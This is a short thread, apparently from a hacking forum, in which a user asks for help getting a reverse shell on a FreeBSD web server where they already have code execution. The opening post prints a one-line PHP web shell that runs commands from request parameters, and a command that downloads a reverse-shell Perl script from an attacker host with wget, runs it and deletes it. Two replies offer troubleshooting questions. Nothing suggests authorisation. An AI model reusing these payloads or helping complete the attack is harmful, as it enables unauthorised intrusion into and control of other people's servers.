

Forum:[Hack Forums](#)

Thread: [LFI to Full Shell](#)

rinkhals - December 19, 2016, 4:42 am

I am working on a web server running FreeBSD 9 where I have access to an administrative console. I am able to create a new database and add a text field with php code that enables remote code execution via a url.

PHP code I am using for RCE is below

```
<?php system($_GET["cmd"]); eval($_POST["id"]); ?>
```

I am able to see an incoming connection when I use the below php code to download a rev shell script but its not executing and no incoming shell hits my nc listener. I am able to write to the /tmp directory and the target has perl, wget and php version 5.4.23 and apache running.

```
php echo shell_exec("/usr/local/bin/wget -P /tmp ATTACKERIP/revperl.pl; /usr/bin/perl revperl.pl; rm -f revperl.pl");
```

I am trying to get a reverse shell and have tried various techniques but still not able to get a full shell.

Any help would be appreciated

Thanks

OGLIA - December 20, 2016, 4:31 am

You are saying you are able to create database can you execute sql commands?

fire_w1re - December 20, 2016, 12:25 pm

You haven't said, so I'll ask, have you portforward?